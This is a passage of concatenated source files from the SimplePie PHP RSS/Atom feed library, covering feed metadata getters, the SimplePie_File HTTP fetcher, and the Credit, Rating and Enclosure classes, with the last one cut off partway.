			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
			{
				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
			}
			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link'))
			{
				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
			}

			$keys = array_keys($this->data['links']);
			foreach ($keys as $key)
			{
				if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key)))
				{
					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
					{
						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
					}
					else
					{
						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
					}
				}
				elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
				{
					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
				}
				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
			}
		}

		if (isset($this->data['links'][$rel]))
		{
			return $this->data['links'][$rel];
		}

		return null;
	}

	public function get_description()
	{
		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle'))
		{
			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline'))
		{
			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
		}

		return null;
	}

	public function get_copyright()
	{
		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
		{
			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright'))
		{
			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'copyright'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}

		return null;
	}

	public function get_language()
	{
		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'language'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif (isset($this->data['xml_lang']))
		{
			return $this->sanitize($this->data['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
		}

		return null;
	}

	public function get_latitude()
	{
		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
		{
			return (float) $return[0]['data'];
		}
		elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
		{
			return (float) $match[1];
		}

		return null;
	}

	public function get_longitude()
	{
		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
		{
			return (float) $return[0]['data'];
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
		{
			return (float) $return[0]['data'];
		}
		elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
		{
			return (float) $match[2];
		}

		return null;
	}

	public function get_image_url()
	{
		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image'))
		{
			return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
		}

		return null;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Used for fetching remote files and reading local files
 *
 * Supports HTTP 1.0 via cURL or fsockopen, with spotty HTTP 1.1 support
 *
 * This class can be overloaded with {@see SimplePie::set_file_class()}
 *
 * @package SimplePie
 * @subpackage HTTP
 * @todo Move to properly supporting RFC2616 (HTTP/1.1)
 */
class SimplePie_File
{
	var $url;
	var $useragent;
	var $success = true;
	var $headers = array();
	var $body;
	var $status_code;
	var $redirects = 0;
	var $error;
	var $method = SIMPLEPIE_FILE_SOURCE_NONE;
	var $permanent_url;

	public function __construct($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false, $curl_options = array())
	{
		if (class_exists('idna_convert'))
		{
			$idn = new idna_convert();
			$parsed = SimplePie_Misc::parse_url($url);
			$url = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], NULL);
		}
		$this->url = $url;
		$this->permanent_url = $url;
		$this->useragent = $useragent;
		if (preg_match('/^http(s)?:\/\//i', $url))
		{
			if ($useragent === null)
			{
				$useragent = ini_get('user_agent');
				$this->useragent = $useragent;
			}
			if (!is_array($headers))
			{
				$headers = array();
			}
			if (!$force_fsockopen && function_exists('curl_exec'))
			{
				$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_CURL;
				$fp = curl_init();
				$headers2 = array();
				foreach ($headers as $key => $value)
				{
					$headers2[] = "$key: $value";
				}
				if (version_compare(SimplePie_Misc::get_curl_version(), '7.10.5', '>='))
				{
					curl_setopt($fp, CURLOPT_ENCODING, '');
				}
				curl_setopt($fp, CURLOPT_URL, $url);
				curl_setopt($fp, CURLOPT_HEADER, 1);
				curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1);
				curl_setopt($fp, CURLOPT_FAILONERROR, 1);
				curl_setopt($fp, CURLOPT_TIMEOUT, $timeout);
				curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout);
				curl_setopt($fp, CURLOPT_REFERER, SimplePie_Misc::url_remove_credentials($url));
				curl_setopt($fp, CURLOPT_USERAGENT, $useragent);
				curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2);
				foreach ($curl_options as $curl_param => $curl_value) {
					curl_setopt($fp, $curl_param, $curl_value);
				}

				$this->headers = curl_exec($fp);
				if (curl_errno($fp) === 23 || curl_errno($fp) === 61)
				{
					curl_setopt($fp, CURLOPT_ENCODING, 'none');
					$this->headers = curl_exec($fp);
				}
				$this->status_code = curl_getinfo($fp, CURLINFO_HTTP_CODE);
				if (curl_errno($fp))
				{
					$this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp);
					$this->success = false;
				}
				else
				{
					// Use the updated url provided by curl_getinfo after any redirects.
					if ($info = curl_getinfo($fp)) {
						$this->url = $info['url'];
					}
					curl_close($fp);
					$this->headers = SimplePie_HTTP_Parser::prepareHeaders($this->headers, $info['redirect_count'] + 1);
					$parser = new SimplePie_HTTP_Parser($this->headers);
					if ($parser->parse())
					{
						$this->headers = $parser->headers;
						$this->body = trim($parser->body);
						$this->status_code = $parser->status_code;
						if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects)
						{
							$this->redirects++;
							$location = SimplePie_Misc::absolutize_url($this->headers['location'], $url);
							$previousStatusCode = $this->status_code;
							$this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options);
							$this->permanent_url = ($previousStatusCode == 301) ? $location : $url;
							return;
						}
					}
				}
			}
			else
			{
				$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_FSOCKOPEN;
				$url_parts = parse_url($url);
				$socket_host = $url_parts['host'];
				if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https')
				{
					$socket_host = "ssl://$url_parts[host]";
					$url_parts['port'] = 443;
				}
				if (!isset($url_parts['port']))
				{
					$url_parts['port'] = 80;
				}
				$fp = @fsockopen($socket_host, $url_parts['port'], $errno, $errstr, $timeout);
				if (!$fp)
				{
					$this->error = 'fsockopen error: ' . $errstr;
					$this->success = false;
				}
				else
				{
					stream_set_timeout($fp, $timeout);
					if (isset($url_parts['path']))
					{
						if (isset($url_parts['query']))
						{
							$get = "$url_parts[path]?$url_parts[query]";
						}
						else
						{
							$get = $url_parts['path'];
						}
					}
					else
					{
						$get = '/';
					}
					$out = "GET $get HTTP/1.1\r\n";
					$out .= "Host: $url_parts[host]\r\n";
					$out .= "User-Agent: $useragent\r\n";
					if (extension_loaded('zlib'))
					{
						$out .= "Accept-Encoding: x-gzip,gzip,deflate\r\n";
					}

					if (isset($url_parts['user']) && isset($url_parts['pass']))
					{
						$out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n";
					}
					foreach ($headers as $key => $value)
					{
						$out .= "$key: $value\r\n";
					}
					$out .= "Connection: Close\r\n\r\n";
					fwrite($fp, $out);

					$info = stream_get_meta_data($fp);

					$this->headers = '';
					while (!$info['eof'] && !$info['timed_out'])
					{
						$this->headers .= fread($fp, 1160);
						$info = stream_get_meta_data($fp);
					}
					if (!$info['timed_out'])
					{
						$parser = new SimplePie_HTTP_Parser($this->headers);
						if ($parser->parse())
						{
							$this->headers = $parser->headers;
							$this->body = $parser->body;
							$this->status_code = $parser->status_code;
							if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects)
							{
								$this->redirects++;
								$location = SimplePie_Misc::absolutize_url($this->headers['location'], $url);
								$previousStatusCode = $this->status_code;
								$this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options);
								$this->permanent_url = ($previousStatusCode == 301) ? $location : $url;
								return;
							}
							if (isset($this->headers['content-encoding']))
							{
								// Hey, we act dumb elsewhere, so let's do that here too
								switch (strtolower(trim($this->headers['content-encoding'], "\x09\x0A\x0D\x20")))
								{
									case 'gzip':
									case 'x-gzip':
										$decoder = new SimplePie_gzdecode($this->body);
										if (!$decoder->parse())
										{
											$this->error = 'Unable to decode HTTP "gzip" stream';
											$this->success = false;
										}
										else
										{
											$this->body = trim($decoder->data);
										}
										break;

									case 'deflate':
										if (($decompressed = gzinflate($this->body)) !== false)
										{
											$this->body = $decompressed;
										}
										else if (($decompressed = gzuncompress($this->body)) !== false)
										{
											$this->body = $decompressed;
										}
										else if (function_exists('gzdecode') && ($decompressed = gzdecode($this->body)) !== false)
										{
											$this->body = $decompressed;
										}
										else
										{
											$this->error = 'Unable to decode HTTP "deflate" stream';
											$this->success = false;
										}
										break;

									default:
										$this->error = 'Unknown content coding';
										$this->success = false;
								}
							}
						}
					}
					else
					{
						$this->error = 'fsocket timed out';
						$this->success = false;
					}
					fclose($fp);
				}
			}
		}
		else
		{
			$this->method = SIMPLEPIE_FILE_SOURCE_LOCAL | SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS;
			if (empty($url) || !($this->body = trim(file_get_contents($url))))
			{
				$this->error = 'file_get_contents could not read the file';
				$this->success = false;
			}
		}
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Handles `<media:credit>` as defined in Media RSS
 *
 * Used by {@see SimplePie_Enclosure::get_credit()} and {@see SimplePie_Enclosure::get_credits()}
 *
 * This class can be overloaded with {@see SimplePie::set_credit_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Credit
{
	/**
	 * Credited role
	 *
	 * @var string
	 * @see get_role()
	 */
	var $role;

	/**
	 * Organizational scheme
	 *
	 * @var string
	 * @see get_scheme()
	 */
	var $scheme;

	/**
	 * Credited name
	 *
	 * @var string
	 * @see get_name()
	 */
	var $name;

	/**
	 * Constructor, used to input the data
	 *
	 * For documentation on all the parameters, see the corresponding
	 * properties and their accessors
	 */
	public function __construct($role = null, $scheme = null, $name = null)
	{
		$this->role = $role;
		$this->scheme = $scheme;
		$this->name = $name;
	}

	/**
	 * String-ified version
	 *
	 * @return string
	 */
	public function __toString()
	{
		// There is no $this->data here
		return md5(serialize($this));
	}

	/**
	 * Get the role of the person receiving credit
	 *
	 * @return string|null
	 */
	public function get_role()
	{
		if ($this->role !== null)
		{
			return $this->role;
		}

		return null;
	}

	/**
	 * Get the organizational scheme
	 *
	 * @return string|null
	 */
	public function get_scheme()
	{
		if ($this->scheme !== null)
		{
			return $this->scheme;
		}

		return null;
	}

	/**
	 * Get the credited person/entity's name
	 *
	 * @return string|null
	 */
	public function get_name()
	{
		if ($this->name !== null)
		{
			return $this->name;
		}

		return null;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Handles `<media:rating>` or `<itunes:explicit>` tags as defined in Media RSS and iTunes RSS respectively
 *
 * Used by {@see SimplePie_Enclosure::get_rating()} and {@see SimplePie_Enclosure::get_ratings()}
 *
 * This class can be overloaded with {@see SimplePie::set_rating_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Rating
{
	/**
	 * Rating scheme
	 *
	 * @var string
	 * @see get_scheme()
	 */
	var $scheme;

	/**
	 * Rating value
	 *
	 * @var string
	 * @see get_value()
	 */
	var $value;

	/**
	 * Constructor, used to input the data
	 *
	 * For documentation on all the parameters, see the corresponding
	 * properties and their accessors
	 */
	public function __construct($scheme = null, $value = null)
	{
		$this->scheme = $scheme;
		$this->value = $value;
	}

	/**
	 * String-ified version
	 *
	 * @return string
	 */
	public function __toString()
	{
		// There is no $this->data here
		return md5(serialize($this));
	}

	/**
	 * Get the organizational scheme for the rating
	 *
	 * @return string|null
	 */
	public function get_scheme()
	{
		if ($this->scheme !== null)
		{
			return $this->scheme;
		}

		return null;
	}

	/**
	 * Get the value of the rating
	 *
	 * @return string|null
	 */
	public function get_value()
	{
		if ($this->value !== null)
		{
			return $this->value;
		}

		return null;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Handles everything related to enclosures (including Media RSS and iTunes RSS)
 *
 * Used by {@see SimplePie_Item::get_enclosure()} and {@see SimplePie_Item::get_enclosures()}
 *
 * This class can be overloaded with {@see SimplePie::set_enclosure_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Enclosure
{
	/**
	 * @var string
	 * @see get_bitrate()
	 */
	var $bitrate;

	/**
	 * @var array
	 * @see get_captions()
	 */
	var $captions;

	/**
	 * @var array
	 * @see get_categories()
	 */
	var $categories;

	/**
	 * @var int
	 * @see get_channels()
	 */
	var $channels;

	/**
	 * @var SimplePie_Copyright
	 * @see get_copyright()
	 */
	var $copyright;

	/**
	 * @var array
	 * @see get_credits()
	 */
	var $credits;

	/**
	 * @var string
	 * @see get_description()
	 */
	var $description;

	/**
	 * @var int
	 * @see get_duration()
	 */
	var $duration;

	/**
	 * @var string
	 * @see get_expression()
	 */
	var $expression;

	/**
	 * @var string
	 * @see get_framerate()
	 */
	var $framerate;

	/**
	 * @var string
	 * @see get_handler()
	 */
	var $handler;

	/**
	 * @var array
	 * @see get_hashes()
	 */
	var $hashes;

	/**
	 * @var string
	 * @see get_height()
	 */
	var $height;

	/**
	 * @deprecated
	 * @var null
	 */
	var $javascript;

	/**
	 * @var array
	 * @see get_keywords()
	 */
	var $keywords;

	/**
	 * @var string
	 * @see get_language()
	 */
	var $lang;

	/**
	 * @var string
	 * @see get_length()
	 */
	var $length;

	/**
	 * @var string
	 * @see get_link()
	 */
	var $link;

	/**
	 * @var string
	 * @see get_medium()
	 */
	var $medium;

	/**
	 * @var string
	 * @see get_player()
	 */
	var $player;

	/**
	 * @var array
	 * @see get_ratings()
	 */
	var $ratings;

	/**
	 * @var array
	 * @see get_restrictions()
	 */
	var $restrictions;

	/**
	 * @var string
	 * @see get_sampling_rate()
	 */
	var $samplingrate;

	/**
	 * @var array
	 * @see get_thumbnails()
	 */
	var $thumbnails;

	/**
	 * @var string
	 * @see get_title()
	 */
	var $title;

	/**
	 * @var string
	 * @see get_type()
	 */
	var $type;

	/**
	 * @var string
	 * @see get_width()
	 */
	var $width;

	/**
	 * Constructor, used to input the data
	 *
	 * For documentation on all the parameters, see the corresponding
	 * properties and their accessors
	 *
	 * @uses idna_convert If available, this will convert an IDN
	 */
	public function __construct($link = null, $type = null, $length = null, $javascript = null, $bitrate = null, $captions = null, $categories = null, $channels = null, $copyright = null, $credits = null, $description = null, $duration = null, $expression = null, $framerate = null, $hashes = null, $height = null, $keywords = null, $lang = null, $medium = null, $player = null, $ratings = null, $restrictions = null, $samplingrate = null, $thumbnails = null, $title = null, $width = null)
	{
		$this->bitrate = $bitrate;
		$this->captions = $captions;
		$this->categories = $categories;
		$this->channels = $channels;
		$this->copyright = $copyright;
		$this->credits = $credits;
		$this->description = $description;
		$this->duration = $duration;
		$this->expression = $expression;
		$this->framerate = $framerate;
		$this->hashes = $hashes;
		$this->height = $height;
		$this->keywords = $keywords;
		$this->lang = $lang;
		$this->length = $length;
		$this->link = $link;
		$this->medium = $medium;
		$this->player = $player;
		$this->ratings = $ratings;
		$this->restrictions = $restrictions;
		$this->samplingrate = $samplingrate;
		$this->thumbnails = $thumbnails;
		$this->title = $title;
		$this->type = $type;
		$this->width = $width;

		if (class_exists('idna_convert'))
		{
			$idn = new idna_convert();
			$parsed = SimplePie_Misc::parse_url($link);
			$this->link = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']);
		}
		$this->handler = $this->get_handler(); // Needs to load last
	}

	/**
	 * String-ified version
	 *
	 * @return string
	 */
	public function __toString()
	{
		// There is no $this->data here
		return md5(serialize($this));
	}

	/**
	 * Get the bitrate
	 *
	 * @return string|null
	 */
	public function get_bitrate()
	{
		if ($this->bitrate !== null)
		{
			return $this->bitrate;
		}

		return null;
	}

	/**
	 * Get a single caption
	 *
	 * @param int $key
	 * @return SimplePie_Caption|null
	 */
	public function get_caption($key = 0)
	{
		$captions = $this->get_captions();
		if (isset($captions[$key]))
		{
			return $captions[$key];
		}

		return null;
	}

	/**
	 * Get all captions
	 *
	 * @return array|null Array of {@see SimplePie_Caption} objects
	 */
	public function get_captions()
	{
		if ($this->captions !== null)
		{
			return $this->captions;
		}

		return null;
	}

	/**
	 * Get a single category
